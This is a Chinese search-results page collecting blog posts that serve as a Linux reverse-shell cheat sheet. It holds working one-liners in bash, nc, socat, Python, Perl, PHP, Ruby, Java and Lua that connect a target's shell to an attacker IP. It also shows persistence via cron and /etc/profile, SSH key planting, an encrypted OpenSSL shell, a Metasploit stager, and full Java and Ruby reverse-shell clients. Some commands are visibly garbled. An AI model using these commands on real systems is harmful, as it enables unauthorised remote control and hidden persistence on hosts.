精华内容
下载资源
问答
  • Linux 反弹shell

    2020-04-09 17:35:20
  • Linux反弹shell

    千次阅读 2018-11-29 23:55:26
    Bash反弹shell Python反弹shell 其他命令反弹shell 写入命令到定时任务文件 写入SSH公钥 写入/etc/profile文件 当我们可以在远程Linux主机上执行任意命令或写入任意数据到任意文件的时候,我们通常会通过以下...

    目录

    Bash反弹shell

    加密bash反弹shell的流量

    Python反弹shell

    其他命令反弹shell

    写入命令到定时任务文件

    写入SSH公钥 

    写入/etc/profile文件


    当我们可以在远程Linux主机上执行任意命令或写入任意数据到任意文件的时候,我们通常会通过以下方式控制远程主机。

    Bash反弹shell

    Linux 反弹 shell 使用下面这条命令,该命令弹回来的shell是不可交互的,也就是比如 vim、passwd 命令不能用

    bash -i >& /dev/tcp/192.168.10.27/4444 0>&1   #将shell环境转发到192.168.10.32的4444端口上
    
    也可以如下:
    {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjI3LzQ0NDQgMD4mMSA=}|{base64,-d}|{bash,-i}

    然后客户端用 netcat 进行接收

    nc -lvp  4444  #监听4444端口

    使用什么样的用户反弹的 shell,还是当前用户的权限。

    注:只有拥有 /bin/bash 的用户,才能使用该命令,如apache等web用户,无法使用该命令(以下是使用菜刀连接的webshell,获取到的 shell 是 apache 的shell)

    那么,这条命令的原理是什么呢?

    首先,bash -i 是打开一个交互式的bash终端。传送门—> Linux中的shell和bash

    /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。所以,不难理解,/dev/tcp/192.168.10.32/4444   这条命令是意思就是和192.168.10.32主机的4444端口建立一个socket连接。传送门—> Socket套接字和Sockes协议

    那么,最难的来了,>&  和  0>&1 是什么意思呢?

    要想了解  >&  和  0>&1 ,首先我们了解一下Linux文件描述符和重定向。

    linux shell下常用的文件描述符是:

    • 标准输入   (stdin) :代码为 0 ,使用 < 或 << 
    • 标准输出   (stdout):代码为 1 ,使用 > 或 >> 
    • 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

    而通过查阅资料,发现  >& 和 &> 两者一个意思,都是将标准错误输出合并到标准输出中。

    意思就是,如果我们执行一个命令,比如 ls -lh > test ,这样的话,test文件中只会保存我们执行这个命令正常的结果

    而如果我们执行命令 ls -lh  >& test 或者 ls -lh &> test  ,这样的话,test文件中既会保存我们执行这个命令正常的结果,也会保存我们执行这个命令出错了的结果。

    所以,当我们执行命令:bash -i >& /dev/tcp/192.168.10.32/4444    时,他会与192.168.10.32的4444号端口建立一个socket连接,把bash的标准输出和标准错误输出发给192.168.10.32。也就是获得了他的shell,但是192.168.10.32却不能进行操作。

    而通过查阅资料发现, 0>&1  和   0<&1  也是一个意思,都是将标准输入重定向到标准输出中。所以加入 0>&1 的话,就可以接受用户的输入了。

    所以,结合上面的:bash -i >& /dev/tcp/192.168.10.32/4444  0>&1   命令是意思是:与192.168.10.32的4444端口建立一个socket连接,把bash的标准输出和标准错误输出发给192.168.10.32。并且可以接受输入,也就是可以进行交互式操作!

    所以,学习了这些我们知道,以下这些命令其实都可以用于linux反弹shell。

    bash -i >& /dev/tcp/192.168.10.27/4444 0>&1 
    bash -i >& /dev/tcp/192.168.10.27/4444 0<&1 
    bash -i $> /dev/tcp/192.168.10.27/4444 0>$1 
    bash -i $> /dev/tcp/192.168.10.27/4444 0<&1 

    但是,很多时候,由于我们获取的shell并不是一个具有完整交互的shell,因此可能会在使用过程中被挂起,甚至还可能会因为我们的操作失误,例如不小心摁下了  Ctrl-C ,这将直接终止我们的整个shell进程。或者获得的shell类型是 sh 的,我们使用不习惯

    如果目标主机有python环境,我们在用netcat获得了反弹的shell后,可以执行下面的命令,才获得一个正常的shell (可以进行交互的shell) ,可以执行 passwd 命令 ,但是 vim命令还是用不了

    python -c 'import pty;pty.spawn("/bin/bash")'

    加密bash反弹shell的流量

    第一步,在vps上生成SSL证书的公钥/私钥对,执行以下命令,一路回车即可

    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

    第二步,在VPS监听反弹shell

    openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

    第三步,在目标上用openssl加密反弹shell的流量

    mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.10.136:4444 > /tmp/s;rm /tmp/s

    Python反弹shell

    使用下面这条命令弹回来的shell也是不可交互的shell,即 vim 和 passwd 等命令用不了

    #利用python反弹一个bash类型的shell
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

    使用什么样的用户反弹的 shell,还是当前用户的权限。

    注:只有拥有 /bin/bash 的用户,才能使用该命令,如apache等web用户,无法使用该命令(以下是使用菜刀连接的webshell,获取到的 shell 是 apache 的shell)

    其他命令反弹shell

    Perl:
    perl -e 'use Socket;$i="192.168.10.13";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    PHP:
    php -r '$sock=fsockopen("192.168.10.13",8888);exec("/bin/sh -i <&3>&3 2>&3");'
    
    Ruby:
    ruby -rsocket -e'f=TCPSocket.open("192.168.10.13",8888).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'
    
    Java:
    r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.10.13/8888;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()

    写入命令到定时任务文件

    我们可以在远程主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道远程主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/当前用户命令的文件  内的,所以必须要知道远程主机当前的用户名。否则就不能生效。

    比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)

    比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(debian系列主机)

    */1  *  *  *  *   /bin/bash -i>&/dev/tcp/192.168.10.11/4444 0>&1
    #每隔一分钟,向192.168.10.27的4444号端口发送shell

    写入SSH公钥 

    将公钥信息传送到远程主机的 /root/.ssh/ 目录下,并且重命名为  authorized_keys 。如果是其他用户,比如test,那就是 /test/.ssh/ 下。

    详细:写入SSH公钥,进行远程登录

    写入/etc/profile文件

    将以下命令写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。

    /bin/bash -i>&/dev/tcp/192.168.10.11/4444 0>&1 &

    当管理员远程连接该主机时,就会执行该命令。

    参考文章:http://bobao.360.cn/learning/detail/3616.html

    相关文章:Msfvenonm生成一个后门木马

                      linux反弹完全交互shell

                      Reverse shell cheatsheet

    展开全文
  • linux 反弹shell

    2018-06-30 13:49:00
    Linux反弹shell笔记 0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点。 nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或者UDP模式,添加参数 —u ...

    Linux下反弹shell笔记

    0x00 NC命令详解


    在介绍如何反弹shell之前,先了解相关知识要点。

    nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流

    • 可运行在TCP或者UDP模式,添加参数 —u 则调整为udP,默认为tcp
    • -v 参数,详细输出
    • n参数高数netcat不要DNS反向查询IP的域名
    • z参数,连接成功后立即关闭连接

    $ nc -v 172.31.100.7 21
    netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。

    使用nc聊天

    $nc -l 1567
    netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

    $nc 172.31.100.7 1567
    不管你在机器B上键入什么都会出现在机器A上。

    实测好像并不可以...

    nc进行文件传输

    Server:
    $nc -l 1567 < file.txt

    Client:
    $nc -n 172.31.100.7 1567 > file.txt

    好像也不行...
    不管这些还是直接来反弹shell吧

    0x01 NC反弹shell


    正向反弹shell

    服务器端

    nc -lvvp 7777 -e /bin/bash

    本地

    nc 192.168.242.129 7777

    即可获得服务器端的shell

    反向反弹shell

    服务端

    nc -e /bin/bash 192.168.242.1 7777

    本地

    nc -lvvp 7777

    不使用-e参数反弹

    使用管道
    服务端

    mknod /tmp/backpipe p
    /bin/sh 0</tmp/backpipe | nc 192.168.242.1 7777 1>/tmp/backpipe

    攻击端

    nc -lnvp 7777

    mknod需要root用户,但是也可以通过mkfifo /tmp/backpipe也可以创建一个管道。

    0x02 Bash反弹


    服务端:

    bash -c 'sh -i &>/dev/tcp/210.28.30.887/53 0>&1'

    或者

    bash -i >& /dev/tcp/192.168.242.1/7777 0>&1

    攻击端:

    nc -lvvp 7777

    0x03 Perl反弹shell


    服务端:

    perl -e 'use Socket;$i="192.168.242.1";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    或者

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.242.1:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

    0x04 Python


    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.27.32.227",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    0x05 最后


    个人觉得这几种应该就够用了,至于其他环境,再看具体情况吧,有一些环境服务器不一定有的

     

    转载于:https://www.cnblogs.com/EEEE1/p/9246827.html

    展开全文
  • linux反弹shell

    2019-10-01 21:38:13
    参考链接 http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html...http://www.waitalone.cn/linux-shell-rebound-under-way.html http://roo7break.co.uk/?p=215 http://pentestmonkey.net/cheat-...

    参考链接

    http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
    http://www.waitalone.cn/linux-shell-rebound-under-way.html
    http://roo7break.co.uk/?p=215
    http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
    http://www.91ri.org/9367.html
    http://www.tuicool.com/articles/3uQ3ue

    拓展阅读

    linux设置启动执行命令:http://www.cnblogs.com/ssooking/p/6094740.html

     

    反弹IP:10.0.0.1

    监听端口:1234

     

    Bash

    [shell有时由bash解析有时由sh解析,不一定百发百中]

    bash -i >& /dev/tcp/10.0.0.1/1234 0>&1

    注:/dev/[tcp|upd]/host/port是Linux设备里面的特殊文件,读取或写入相当于建立socket调用
    "&"在Linux shell中表示后台运行

    但这里0>&1不是这样,对于&1更准确的说应该是文件描述符1。而1一般代表的就是STDOUT_FILENO***
    2>&1形式用于重定向,2>表示错误重定向,&1表示标准输出;
    以ls >/dev/null 2>&1为例:2>&1是将标准出错重定向到标准输出,在这里又被重定向到了/dev/null里

    补充: http://www.cnblogs.com/hokyhu/archive/2011/09/27/2193489.html

     

    Netcat

     不同版本的nc不一定支持-e选项
     nc -e cmd.exe 10.0.0.1 1234  
     nc -e /bin/sh 10.0.0.1 1234

    nc不使用-e
    Hacker: nc -lvnp 1234 Victim: mknod /tmp/backpipe p Victim: /bin/sh 0</tmp/backpipe | nc 10.0.0.1 1234 1>/tmp/backpipe
    不使用nc Method 1: Hacker: nc -nvlpp 1234 Victim: /bin/bash -i > /dev/tcp/10.0.0.1/1234 0<&1 2>&1
    Method 2: Hacker: nc -nvlpp 1234 Victim: mknod backpipe p && telnet 10.0.0.1 1234 0backpipe
    Method 3: Hacker: nc -nvlpp 8080 Hacker: nc -nvlpp 8888 Victim: telnet 10.0.0.1 1234 | /bin/bash | telnet 10.0.0.1 1234

    Method 4:
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

    Method 5:
    nc 10.0.0.1 1234|/bin/sh|nc x.x.x.x 2444

     

    socat

    socat tcp-connect:转发到某个主机的IP:端口 exec:'bash -li',pty,stderr,setsid,sigint,sane

     socat是个非常强大的工具,跑个题,补充几个用法

    连接远程端口
    nc localhost 80
    socat - TCP:localhost:80
    
    监听端口
    nc -lp localhost 700
    socat TCP-LISTEN:700 -
    
    正向shell
    nc -lp localhost 700 -e /bin/bash
    socat TCP-LISTEN:700 EXEC:/bin/bash
    
    SSL连接
    SSL服务器: socat OPENSSL-LISTEN:443,cert=/cert.pem -
    
    需要首先生成证书文件
    SSL客户端: socat - OPENSSL:localhost:443
    
    fork服务器
    可以将一个使用标准输入输出的单进程程序变为一个使用fork方法的多进程服务
    
    不同设备的通信
    
    将U盘进行网络共享: socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr  -d -d 指的是调试信息的级别
    
    将终端转发到COM1: socat READLINE,history=$HOME/.cmd_history /dev/ttyS0,raw,echo=0,crnl
    
    socat还有个readbyte的option,可以当dd用了。

      

    PERL

    perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    不依赖bin/bash
    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

     

    Python

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.0.0.1',1234))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

     

    Metasploit版的python代码:

    #msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
    import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))

     base64解码后:

    复制代码
    import socket,struct
    s=socket.socket(2,1)
    s.connect(('192.168.90.1',1234))
    l=struct.unpack('>I',s.recv(4))[0]
    d=s.recv(4096)
    while len(d)!=l:
        d+=s.recv(4096)
    exec(d,{'s':s})
    复制代码
     

     

    PHP

    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' #代码假设TCP连接的文件描述符为3,如果不行可以试下4,5,6

     

    Ruby

    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    不依赖于/bin/sh: ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
    目标是windows: ruby -rsocket -e 'c=TCPSocket.new(10.0.0.1","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 

     

    Java

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
    p.waitFor()
    
    msf:use payload/java/shell/reverse_tcp

    Telnet

    rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 1234 0/tmp/p
    或者
    mknod backpipe p && telnet 10.0.0.1 1234 0<backpipe | /bin/bash 1>backpipe

    lua

    lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
    
    msf反弹:use payload/cmd/unix/reverse_lua

     

    Xterm

    首先开启Xserver:            # TCP 6001
    Xnest :1                      # Note: The command starts with uppercase X
    授予目标机连回来的权限: xterm
    -display 127.0.0.1:1 # Run this OUTSIDE the Xnest, another tab xhost +targetip # Run this INSIDE the spawned xterm on the open X Server
    如果想让任何人都连上: xhost
    +      # Run this INSIDE the spawned xterm on the open X Server
    假设xterm已安装,连回你的Xserver: xterm
    -display attackerip:1 或者:$ DISPLAY=attackerip:0 xterm

     

    msfvenom生成web反弹shell

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=1234 -f raw > test.php
    生成后要将脚本最前面的注释符去掉,然后上传到目标服务器上
    启动msf

    use exploit/multi/handler
    set PAYLOAD php/meterpreter/reverse_tcp
    set LHOST IP
    set LPORT port
    exploit -j

    然后从浏览器中访问上传的脚本http://xxx.com/test.php,即可获得shell

     

    # 反弹 ssh shell

    $ wget -O - -q "http://www.test.com/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f username@<attacker_ip>"
    

      

    一些msf模块里面的长脚本

    Ruby

    #!/usr/bin/env ruby
    
    require 'socket'
    require 'open3'
    
    #Set the Remote Host IP
    RHOST = "192.168.1.10" 
    #Set the Remote Host Port
    PORT = "6667"
    
    #Tries to connect every 20 sec until it connects.
    begin
    sock = TCPSocket.new "#{RHOST}", "#{PORT}"
    sock.puts "We are connected!"
    rescue
      sleep 20
      retry
    end
    
    #Runs the commands you type and sends you back the stdout and stderr.
    begin
      while line = sock.gets
        Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
                  IO.copy_stream(stdout_and_stderr, sock)
                  end  
      end
    rescue
      retry
    end
    

      

    JAVA

    import java.io.*;
    import java.net.Socket;
    import java.util.*;
    import java.util.regex.*;
    import java.applet.Applet;
    
    public class poc extends Applet{
        /**
         * Author: daniel baier alias duddits
         * Licens: GPL
         * Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher
         * Version: 0.1 alpha release
         */
    
        public String cd(String start, File currentDir) {
            File fullPath = new File(currentDir.getAbsolutePath());
            String sparent = fullPath.getAbsoluteFile().toString();
            return sparent + "/" + start;
    
            }
    
        @SuppressWarnings("unchecked")
        public void init() {
            poc rs = new poc();
            PrintWriter out;
            try {
                Socket clientSocket = new Socket("192.168.5.222",10003);
                out = new PrintWriter(clientSocket.getOutputStream(), true);
                out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier");
                boolean run = true;
                String s;
                BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
                String startort = "/";
                while (run) {
                    String z1;
                    File f = new File(startort);
                    out.println(f.getAbsolutePath() + "> ");
                    s = br.readLine();
                    z1 = s;
                    Pattern pcd = Pattern.compile("^cd\\s");
                    Matcher mcd = pcd.matcher(z1);
                    String[] teile1 = pcd.split(z1);
                    if (s.equals("exit")) {
                        run = false;
                    }else if (s.equals(null) || s.equals("cmd") || s.equals("")) {
    
                    } else if(mcd.find()){
                        try {
                            String cds = rs.cd(teile1[1], new File(startort));
                            startort = cds;
                            } catch (Exception verz) {
                            out.println("Path " + teile1[1]
                            + " not found.");
                            }
    
                    }else {
    
                        String z2;
    
    
                        z2 = s;
                        Pattern pstring = Pattern.compile("\\s");
                        String[] plist = pstring.split(z2);
    
                        try {
    
                            LinkedList slist = new LinkedList();
                            for (int i = 0; i < plist.length; i++) {
                                slist.add(plist[i]);
                            }
    
                            ProcessBuilder builder = new ProcessBuilder(slist);
                            builder.directory(new File(startort));
                            Process p = builder.start();
                            Scanner se = new Scanner(p.getInputStream());
                            if (!se.hasNext()) {
                                Scanner sa = new Scanner(p.getErrorStream());
                                while (sa.hasNext()) {
                                    out.println(sa.nextLine());
                                }
                            }
                            while (se.hasNext()) {
                                out.println(se.nextLine());
                            }
    
    
                        } catch (Exception err) {
                            out.println(f.getAbsolutePath() + "> Command "
                                    + s + " failed!");
                            out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin.");
                        }
    
                    }
                }
    
                if(!clientSocket.isConnected()){
                    run = false;
                    out.flush();
                    out.close();
                }
    
            } catch (Exception io) {
                //System.err.println("Connection refused by peer");
            }
    
        }
    
    }
    

      

     

    转载于:https://www.cnblogs.com/ssooking/p/5900664.html

    展开全文
  • Linux 反弹 Shell

    2019-08-03 23:16:00
    NC 反弹 shell Netcat简介 俗称瑞士军刀或NC,小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接地或容易地驱动。 同时,nc又是一个功能丰富的网络调试和开发工具,...
  • bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1
  • Linux反弹shell姿势总结

    千次阅读 2020-07-19 15:09:01
    Linux反弹shellBash反弹shellnc反弹...Linux反弹shell场景非常常见,常用于目标主机反弹shell给攻击机。 攻击机监听相应端口,目标机执行反弹shell,getshell! Bash反弹shell 目标机: bash -i >& /dev/tcp/ip
  • Linux反弹Shell方法

    2021-02-08 18:23:38
    文章目录Linux反弹Shell方法Linux标准文件描述符更改标准输出的位置更改标准输入的位置/dev/null重定向输入重定向输出重定向管道反弹shell的本质什么是反弹shell实现控制端和被控端之间的交互反弹shell方法...
  • 在上一篇文章Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shel.....
  • 在上一篇文章Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shell...
  • linux反弹shell的姿势

    2020-09-07 20:31:14
    linux反弹shell的姿势 文章目录linux反弹shell的姿势一、bash反弹二、nc反弹三、awk反弹四、telnet反弹五、socat反弹六、python反弹七、php八、perl九、ruby反弹十、Java反弹 一、bash反弹 bash -i >& /dev/...
  • Linux反弹shell Bash反弹shell nc反弹shell python反弹shell php反弹shell 使用php的exec函数反弹shell 使用php的fsockopen远程连接 Perl反弹shell Ruby反弹shell Java反弹shell 其他反弹shell姿势 Linux反弹shell...
  • 本文的标题是"不一样的视角"剖析linux反弹shell,,和业界普遍的视角是不同的,我把它划分更细了。为啥这么做呢?说一下写这篇文章的初衷,一般反弹shell咱们根 据是否是常驻shel划分为交互式与非交互式两种。我个人...
  • linux反弹shell原理

    2019-07-30 16:32:36
    一直知道Linux反弹shell。但是不知道其原理所以今天学习了一波。 文件描述符 首先我们要明白文件描述符是什么? 文件描述符定义:文件描述符在形式上是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程...
  • “不一样的视角“剖析linux反弹shell

    多人点赞 热门讨论 2020-08-02 13:32:57
    技术文章系列分享"不一样的视角"剖析linux反弹shell 本文的标题是"不一样的视角"剖析linux反弹shell,,和业界普遍的视角是不同的,我把它划分更细了。为啥这么做呢?说一下写这篇文章的初衷,一般反弹shell咱们根 据...
  • 反弹shell命令: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一...
  • #include #include #include #include #include #include #include void usage...char shell[]="/bin/sh";char message[]="s8s8 welcome\n";int sock;int main(int argc, char *argv[]) {if(argc <3){usage(argv[...
  • linux反弹shell命令解析

    2020-09-29 10:19:56
    什么是反弹shell2. 反弹shell的用途3. 反弹shell操作步骤4. 原理 1. 什么是反弹shell 简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。 2. 反弹shell的用途 这个反弹shell大部分用途是用来...
  • linux反弹shell>>>本质

    2019-04-16 15:13:08
    linux反弹shell>>>本质 这次我们探究反弹shell的本质 什么反弹shell 简单说就是将受害者的输出与输入全部都定向攻击者主机上 反弹shell适用怎样的情景 受害者主机在内网中,ip经常变动,无法通过准确...
  • linux反弹shell总结

    2020-02-22 22:05:23
    本文总结了Linux下常用的反弹shell方式,同时说明了交互式shell的得到方法,最后积累了反弹shell语法高亮与tab自动补齐。
  • 反弹shell姿势复现(一)前言复现环境说明反弹shell姿势(一)--- 利用bash反弹shell重要说明方法一方法二 前言     反弹shell有很多种方式,这个系列内容较多,之后也会不断更新,对于反弹...
  • Linux反弹shell姿势复现(三)--- 利用awk、gawk反弹前言复现环境说明利用awk、gawk反弹什么是awk、gawk?方法一:利用awk反弹方法二:利用gawk反弹 前言 本博文仅供学习反弹shell的姿势使用,勿作其他用途的参考!...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 5,674
精华内容 2,269
关键字:

linux反弹shell

linux 订阅